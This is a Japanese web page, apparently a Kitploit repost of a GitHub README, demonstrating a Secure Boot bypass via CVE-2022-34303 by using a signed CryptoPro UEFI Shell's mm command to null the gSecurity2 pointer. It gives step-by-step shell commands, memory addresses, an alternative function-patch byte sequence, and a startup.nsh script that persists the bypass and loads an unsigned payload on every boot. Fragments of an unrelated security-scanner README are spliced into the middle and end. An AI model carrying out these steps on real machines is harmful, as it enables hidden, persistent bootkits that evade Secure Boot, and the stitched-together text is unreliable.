CVE-2022-34303 — CryptoPro署名のUEFI Shellを悪用したCVE-2022-34303 Secure Bootバイパスを実演し、mmコマンドでgSecurity2を無効化して未署名のUEFIアプリケーションをロードします。 | Kitploit

概要

このリポジトリは、CVE-2022-34303 を悪用することで BYOVUA (Bring Your Own Vulnerable UEFI Application) テクニックを実演します。これは CryptoPro Secure Disk UEFI ブート環境における Secure Boot バイパス脆弱性です。

このケースでは、Secure Boot が信頼するコンポーネントは、Microsoft の UEFI Third Party Certificate Authority によって署名されたカスタム shim です。一度実行されると、この shim は第二段階として UEFI Shell をロードし、それによって mm (memory modify) コマンドが公開され、OS 起動前のフェーズにおいて 任意のメモリ読み書き 機能が提供されます。

このプリミティブは、DXE コア内の gSecurity2 グローバルポインタを特定して無効化するために使用できます。その結果、以降の UEFI イメージ検証が無効化され、Secure Boot が有効であっても未署名の UEFI アプリケーションやブートキットをロードできるようになります。

背景

Bring Your Own Vulnerable UEFI Application

BYOVUA は、カーネルレベルで使用される BYOVD (Bring Your Own Vulnerable Driver) テクニックの UEFI 版です。脆弱性を持つ署名済みカーネルドライバを持ち込む代わりに、攻撃者は署名済み UEFI アプリケーション - この場合は完全な UEFI Shell - を持ち込み、Secure Boot を無効化できる機能を利用します。

このアプリケーション - この場合は UEFI Shell を第二段階としてロードするカスタム shim - は Microsoft が信頼する証明書で署名されているため、Secure Boot によって疑われることなく受け入れられ、この証明書を Secure Boot データベース (db) に含むあらゆるシステム - つまり過去 10 年間に出荷されたほぼすべての UEFI 対応 PC - で信頼されます。一度実行されると、その組み込みコマンドは攻撃者に直接的なハードウェアおよびメモリアクセスを提供し、オペレーティングシステムがロードされる前 に動作します。そこでは、最新のセキュリティ制御 (ASLR、DEP、カーネル保護) は単に存在しません。

署名済みシェル

Shell_Full.efi は、プリブート認証およびディスク暗号化製品である CryptoPro Secure Disk の一部として配布されている UEFI Shell です。

脆弱性

この脆弱性はバグではなく、設計上の欠陥 です。UEFI Shell は正規の診断ツールであり、Secure Boot 環境で実行されることは想定されていませんでした。しかし、Microsoft が信頼する証明書で署名し、商用製品の一部として配布することで、ベンダーは意図せず Secure Boot の署名済みバイパスを作成してしまいました。

核心的な問題: Secure Boot によって信頼される署名済みバイナリが、その組み込みコマンドを通じて無制限のメモリ読み書き機能を提供します。この組み合わせが Secure Boot の信頼モデル全体を破壊します。

mm コマンド

mm (memory modify) コマンドは、システムメモリへの直接的な読み書きアクセスを提供する標準の UEFI Shell 組み込みコマンドです。UEFI Shell Specification (セクション 5.3) に記載されています。``` MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]

| パラメータ | 説明 |
|-----------|-------------|
| `Address` | 対象メモリアドレス |
| `Value` | 書き込む値（読み取り専用の場合は省略） |
| `-w` | 幅: 1、2、4、または 8 バイト |
| `-MEM` | システムメモリアクセス |
| `-MMIO` | メモリマップド I/O |
| `-IO` | I/O ポートアクセス |
| `-n` | 非対話型（次のアドレスのプロンプトを表示しない） |

---

<div id='gsecurity2'/>

### ***gSecurity2 とセキュリティアーキテクチャプロトコル***

UEFI における Secure Boot イメージ検証は、UEFI Platform Initialization（PI）仕様で定義されている[セキュリティアーキテクチャプロトコル](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols)を通じて実施されます。

DXE コア（DxeMain）は [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) と呼ばれるグローバルポインタを保持しており、これは `EFI_SECURITY2_ARCH_PROTOCOL` 構造体を指します。このプロトコルには単一の関数ポインタ - `FileAuthenticationState` - が含まれており、UEFI イメージがロードされるたびに `LoadImage()` から呼び出されます:```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
	EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;

// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68

LoadImage() が呼び出されると、DXE コアは次をチェックします:```c if (gSecurity2 != NULL) { Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy ); if (EFI_ERROR(Status)) { // Image rejected - signature verification failed } }

`gSecurity2 = NULL` を設定することで、`if` チェックが失敗し、`FileAuthenticationState` は決して呼び出されません。イメージ検証は完全にスキップされます - **Secure Boot は「有効」のままですが、もはや強制されません**。署名されていない UEFI アプリケーションはその後自由にロードできます。

gSecurity2 を自動的に特定してパッチを適用する専用の UEFI アプリケーションを含む、この手法の深い技術的理解については、コンパニオンプロジェクトを参照してください: [Exploitation Technique - UEFI Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption)。

---

<div id='BYOVD'/>

### ***カーネル BYOVD との並行性***

UEFI BYOVUA とカーネル BYOVD の構造的な並行性は正確です:```
┌──────────────────────────────────────────────────────────────┐
│  UEFI BYOVUA (Secure Boot Bypass)                            │
│                                                              │
│  Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned     │
│  (trusted by          (Security2 Protocol)   UEFI apps       │
│   Secure Boot)                                               │
├──────────────────────────────────────────────────────────────┤
│  Kernel BYOVD (DSE Bypass)                                   │
│                                                              │
│  Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned   │
│  (trusted by              (CI.dll)            kernel drivers │
│   DSE / CI)                                                  │
└──────────────────────────────────────────────────────────────┘

どちらの攻撃も同じ根本的な欠陥を悪用しています。セキュリティ機構から信頼されている署名済みコンポーネントが、まさにその機構を無効化するために必要なプリミティブを提供してしまうのです。

仕組み

フェーズ1 - 署名済みシェルの起動

署名済みの Shell_Full.efi は EFI システムパーティション (ESP) に配置され、ブートオプションとして設定されます。これは Secure Boot によって信頼された証明書チェーンで署名されているため、ファームウェアは問題なく検証してロードします。``` EFI System Partition (ESP) └── EFI/ └── Boot/ | └── BootX64.efi (SHIM) ← Signed by Microsoft Windows UEFI Driver Publisher | └── CPSD/ └── Bootxsa.efi (Shell) ← Signed by Security Coding Factory Software CA └── startup.nsh (Script) ← Auto-executed on shell launch

---

<div id='Phase2'/>

### ***Phase 2 - Security2 プロトコルハンドルの列挙***

UEFI Shell から、`EFI_SECURITY2_ARCH_PROTOCOL`（GUID: `94AB2F58-1438-4EF1-9152-18941A3A0E68`）を公開しているハンドルを見つけ、そのプロトコルインターフェースのメモリアドレスを取得することが目的です。

> **Note:** `dh -p <GUID>` コマンドは、ほとんどの EDK2 Shell ビルドでは生の GUID を解決できません。登録されたプロトコル名のみを認識します。以下のアプローチはどの EDK2 Shell バージョンでも動作します。

**Step 1 - SecurityStubDxe ハンドルの検索**

すべてのハンドルを一覧表示し、`SecurityStubDxe` を探します。これは両方の Security Architectural Protocols をインストールする DXE ドライバーです:```
Shell> dh

出力で、SecurityStubDxe としてロードされたハンドルを特定します:``` 10: Image(SecurityStubDxe)

**ステップ2 - 隣接するハンドルを検査する**

`SecurityStubDxe` は Security プロトコルを別のハンドルにインストールします。通常はその直後のハンドルです。これらのハンドルは、Shell がそれらの GUID を分かりやすい名前にマッピングできないため、短い一覧では空に見えます。詳細モードでそれらを検査します:```
Shell> dh -v 11

ハンドル `0x11` にこれらの GUID が含まれていない場合は、`0x12` を試してください。正確なハンドル番号はファームウェアビルドによって異なります。

**ステップ 3 - インターフェースアドレスを記録する**

2 つのプロトコルとそのインターフェースアドレスは次のとおりです。

| GUID | プロトコル | インターフェースアドレス |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |

**Security2 インターフェースアドレス**（この例では `0x3EE8C3A0`）は、DxeMain 内の `gSecurity2` グローバルポインタに格納されている値です。この値はフェーズ 3 で必要になります。

---

<div id='Phase3'/>

### ***フェーズ 3 - メモリ内で gSecurity2 を特定する***

`gSecurity2` 変数は、DXE コア（`DxeMain`）内のグローバルポインタです。その値はフェーズ 2 で見つかったプロトコルインターフェースアドレスと等しくなります。目標は、このポインタが格納されているメモリアドレスを見つけることです。ポインタの値ではなく、変数自体です。

**ステップ 1 - DXE コアイメージのレイアウトを取得する**```
Shell> dh -v 1

カテゴリ	説明	重大度
プロンプトインジェクション	隠し命令、ロール操作	高
データ漏洩	資格情報の窃取、データ持ち出し	重大
コマンド実行	シェルコマンド、コード実行	重大
難読化	Base64、16 進数、Unicode エンコード	高
サプライチェーン	疑わしい依存関係、外部 URL	中
権限昇格	sudo、setuid、特権操作	高
ファイルシステム	機密パスへのアクセス	中
ネットワーク	外部接続、データ送信	中
暗号通貨	マイニング、ウォレットアドレス	低
ソーシャルエンジニアリング	欺瞞的な指示	中

severity_threshold: medium
exclude_patterns:
  - "**/node_modules/**"
  - "**/.git/**"
rules:
  - id: custom-rule-001
    name: Custom Detection
    pattern: "suspicious_pattern"
    severity: high
    category: prompt-injection

`ImageBase`（`0x3FE94000`）を記録します。

**ステップ 2 - PE ヘッダーを解析して `.data` セクションを見つける**

`.data` セクションには、`gSecurity2` を含む初期化されたグローバル変数が格納されています。イメージ全体を盲目的にスキャンするのではなく、PE ヘッダーを解析して正確な `.data` の境界を見つけます。

MZ ヘッダーを読み取り、PE ヘッダーのオフセットを取得します（オフセット `0x3C` にある DWORD）：```
Shell> dmem <ImageBase> 100

これは、PE署名が`ImageBase`からオフセット`0xC0`にあることを意味します。

**ステップ3 - セクションテーブルの読み取り**

セクションテーブルのオフセットは次のように計算されます:```
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader

各セクションエントリは40バイトです：

| オフセット | サイズ | フィールド |
|--------|------|-------|
| 0 | 8 | Name (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |

`.data` セクションエントリを探します。出力例：```
  3FE941F0: 2E 64 61 74 61 00 00 00   ← ".data"
  3FE941F8: B0 9E 00 00               ← VirtualSize = 0x9EB0
  3FE941FC: 60 AA 01 00               ← VirtualAddress (RVA) = 0x1AA60

**ステップ4 - インターフェースポインタを求めて `.data` をスキャンする**

`.data` 範囲内で Security2 インターフェースアドレスをリトルエンディアンのバイト順で検索します。インターフェースアドレスが `0x3EE8C3A0` の場合、次を検索します:```
A0 C3 E8 3E 00 00 00 00

`.data` 範囲を引き続き調べ、バイトシーケンスが見つかるまで進みます。`gSecurity` (Security1) と `gSecurity2` (Security2) のポインタは連続して格納されているため、両方の値が隣接している箇所を探します:```
  3FEB0C08: A0 C3 E8 3E 00 00 00 00   ← gSecurity2 = 0x3EE8C3A0
  3FEB0C10: 98 C3 E8 3E 00 00 00 00   ← gSecurity  = 0x3EE8C398

Phase 4 - gSecurity2 を無効化する

gSecurity2 変数のアドレスが判明すれば、1 回の mm コマンドで Secure Boot 検証を無効化できます:``` Shell> mm <gSecurity2_address> 0 -w 8 -MEM

> **注:** `mm` コマンドはアドレス引数に `0x` プレフィックスを受け付けない場合があります。生の16進数アドレスを直接使用してください。

例:```
Shell> mm 3FEB0C08 0 -w 8 -MEM

これにより、gSecurity2 ポインタに 8 バイトのゼロが書き込まれます。DXE コアは LoadImage() 内のすべてのイメージ検証チェックをスキップするようになります。

パッチを検証するには:``` Shell> dmem <gSecurity2_address> 10

最初の8バイトは `00 00 00 00 00 00 00 00` と表示されるはずです:```
  3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00

gSecurity（Security1、2番目のqword）はそのまま残っていることに注意してください。無効化されるのはSecurity2のみであり、これだけでLoadImage()の検証をバイパスするのに十分です。

Phase 5 - 署名されていないUEFIアプリケーションのロード

gSecurity2が無効化されると、署名の状態に関係なく、任意のUEFIアプリケーションをロードできます：``` Shell> fs1: fs1:> MyUnsignedApp.efi

またはドライバーに `load` を使用します:```
Shell> load fs1:\MyUnsignedDriver.efi

オペレーティングシステムはまだ起動していません。この時点でロードされたUEFIアプリケーションは、OSレベルのセキュリティ制御が初期化される前に、完全なハードウェアアクセス権限で実行されます。

フェーズ6 - startup.nshによる永続化

UEFI Shellは、起動のたびにカレントディレクトリまたはESPルートからstartup.nshを自動的に実行します。このスクリプトにmmパッチをエンコードすることで、Secure Bootバイパスが毎回の起動時に自動的に実行されます：```nsh mm <gSecurity2_address> 0 -w 8 -MEM load fs1:\payload.efi

例：```nsh
mm 3FEB0C08 0 -w 8 -MEM
load fs1:\payload.efi

システムはSecure Bootを「有効」と報告し続ける - 無効化されるのは実行時の強制のみである。これにより、この攻撃はOSレベルのSecure Bootステータスクエリに対して不可視となる。

重要: gSecurity2 アドレス（この例では 0x3FEB0C08）はファームウェアビルドに固有である。ファームウェアが更新または再コンパイルされた場合、フェーズ2と3を繰り返してアドレスを再計算する必要がある。

Extra - Discovery Process

gSecurity2 アドレスの特定はファームウェア固有であり、ファームウェアが更新または再コンパイルされるたびに繰り返す必要がある。高レベルのプロセスは以下の通りである：``` Step 1 Step 2 Step 3 ┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐ │ dh │──> │ dh -v │──> │ dh -v 1 │ │ │ │ │ │ │ │ Find │ │ Inspect adjacent │ │ Get DxeMain │ │ SecurityStubDxe │ │ handle for │ │ ImageBase and │ │ handle number │ │ Security2 GUID and │ │ ImageSize │ │ │ │ Interface address │ │ │ └─────────────────────┘ └──────────────────────┘ └──────────────────────┘ │ v Step 6 Step 5 Step 4 ┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐ │ Verify: │ <──│ Nullify: │ <──│ Parse PE headers, │ │ dmem 10 │ │ mm 0 -w 8 │ │ find .data section, │ │ │ │ -MEM │ │ scan for Interface │ │ First 8 bytes │ │ │ │ address bytes in │ │ = 0x0000000000000000│ │ Secure Boot bypass │ │ little-endian │ │ │ │ active │ │ │ └─────────────────────┘ └──────────────────────┘ └──────────────────────┘

---
---
---



<div id='Exploit'/>

## ***Exploit***

2つのアプローチが提供されています：

**アプローチA - FileAuthenticationStateのパッチ：** 検証関数の最初の4バイトを `xor rax, rax; ret`（`48 31 C0 C3`）で上書きし、チェックを一切行わずにEFI_SUCCESSを返すようにします。このアプローチでは `dh`、`dmem`、`mm` コマンドを使用してSecurity2プロトコルインターフェース経由で関数ポインタを解決し、DxeMainメモリの検索を必要としません。

**アプローチB - gSecurity2ポインタの無効化：** DxeMainの `.data` セクション内にあるgSecurity2グローバル変数を特定し、そこにNULLを書き込みます。これはEclypsiumがBombShellの開示で説明した手法であり、[gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption)リポジトリでプログラム的に実装されています。このアプローチでは、DxeMainのPEヘッダを解析して `.data` セクションの境界を見つけ、その後 `dmem` でメモリを手動スキャンしてポインタのアドレスを特定する必要があります。

両スクリプトは、各コマンドを説明しながらステップバイステップで実行できるように設計されています。まず対話的に実行し、対象ファームウェアの正しいアドレスが判明したら、毎回の起動時に自動実行するための `startup.nsh` を構築します。



---
---
---



<div id='LabSetup'/>

## ***Lab Setup***

### DBX（禁止署名データベース）

署名済みシェルは、KB5012170（2022年8月）を通じてMicrosoftのDBX失効リストに追加されました。更新されたシステムでは、シェルはSecure Bootによって拒否されます。

ラボ環境には、以下のいずれかの条件を満たすシステムが必要です：
- DBXにこの特定のシェルの失効エントリがまだ追加されていない
- またはDBXが空である（デフォルトのSecure Bootキーを持つ新規VM）
- またはカスタムSecure Bootキー登録を備えたQEMU/OVMF環境を使用する

[QEMU UEFI Research Environment](https://github.com/TheMalwareGuardian/QEMU-UEFI-Research-Environment)がこのための自動セットアップを提供しています。

### 代替案：mmコマンドを備えた任意の署名済みUEFIシェル

この手法は `Shell_Full.efi` に固有のものではありません。`mm` コマンドを公開し、信頼された証明書（Microsoft CAまたはOEM固有）で署名されている任意のUEFI Shellを使用できます。Eclypsiumの[BombShell](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/)調査（2025年10月）で文書化されているように、危険な機能を備えた署名済みUEFIシェルが複数のベンダーの製品で発見されており、Frameworkのラップトップ（約20万台のデバイスに影響）も含まれています。



---
---
---



<div id='References'/>

## ***References***

### 直接関連

- [Awesome Bring Your Own Vulnerable UEFI Application](https://github.com/TheMalwareGuardian/Awesome-Bring-Your-Own-Vulnerable-UEFI-Application) - 既知の脆弱な署名済みUEFIアプリケーションのキュレーションコレクション
- [Exploitation Technique - Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) - gSecurity2 corruption手法の詳細な技術分析。ポインタを自動的に特定してパッチを適用する専用のUEFIアプリケーションを含む

### Eclypsium Research

- [SignedUEFIShell](https://github.com/HackingThings/SignedUEFIShell) - .nshスクリプティングによるメモリ操作に署名済みUEFIシェルを使用する研究
- [One Bootloader to Load Them All](https://eclypsium.com/research/one-bootloader-to-load-them-all/) - CVE-2022-34301、CVE-2022-34302、CVE-2022-34303を開示したEclypsiumの元の研究
- [DEF CON 30 - One Bootloader to Load Them All](https://www.youtube.com/watch?v=99t7wEYs8h0) - Mickey ShkatovとJesse Michaelのプレゼンテーション
- [BombShell: The Signed Backdoor Hiding in Plain Sight](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) - Frameworkのラップトップ（20万台のデバイスに影響）に対するmmコマンドgSecurity2攻撃を実証した2025年10月の研究

### UEFI仕様

- [UEFI Shell Specification 2.2](https://uefi.org/sites/default/files/resources/UEFI_Shell_2_2.pdf) - mmおよびdhコマンドのドキュメント
- [EDK2 - gSecurity2 declaration (DxeMain.h)](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) - gSecurity2グローバルポインタのソースコードリファレンス
- [UEFI PI Specification - Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) - Security2 Architectural Protocolの公式定義

### アドバイザリ

- [CERT/CC - VU#309662](https://kb.cert.org/vuls/id/309662)
- [NVD - CVE-2022-34303](https://nvd.nist.gov/vuln/detail/CVE-2022-34303)

ファイル	Shell_Full.efi = EFI/Boot/BootX64.efi (SHIM) -> EFI/CPSD/Bootxsa.efi (Shell)
ベンダー	CryptoPro Secure Disk
CVE	CVE-2022-34303
署名	Microsoft Corporation UEFI CA 2011 (Third Party)
発見	Eclypsium (Mickey Shkatov, Jesse Michael) - 2022年8月
プレゼンテーション	DEF CON 30 - "One Bootloader to Load Them All"
失効	Microsoft KB5012170 により DBX に追加 (2022年8月)

コード	意味
0	問題は検出されませんでした
1	低/中程度の重大度の問題が検出されました
2	高/重大な重大度の問題が検出されました
3	スキャンエラー

人気

CVE-2022-34303

概要

背景

Bring Your Own Vulnerable UEFI Application

署名済みシェル

脆弱性

mm コマンド

仕組み

フェーズ1 - 署名済みシェルの起動

主な機能

インストール

使用方法

基本的なスキャン

JSON 出力

SARIF 出力 (CI/CD 用)

重大度しきい値

カスタムルール

検出カテゴリ

設定

終了コード

ライセンス

Phase 4 - gSecurity2 を無効化する

Phase 5 - 署名されていないUEFIアプリケーションのロード

フェーズ6 - startup.nshによる永続化

Extra - Discovery Process

人気

CVE-2022-34303

🕷️ CVE-2022-34303 - CryptoPro ブートローダー脆弱性

📑 目次

概要

背景

Bring Your Own Vulnerable UEFI Application

署名済みシェル

脆弱性

mm コマンド

仕組み

フェーズ1 - 署名済みシェルの起動

主な機能

インストール

使用方法

基本的なスキャン

JSON 出力

SARIF 出力 (CI/CD 用)

重大度しきい値

カスタムルール

検出カテゴリ

設定

終了コード

ライセンス

Phase 4 - gSecurity2 を無効化する

Phase 5 - 署名されていないUEFIアプリケーションのロード

フェーズ6 - startup.nshによる永続化

Extra - Discovery Process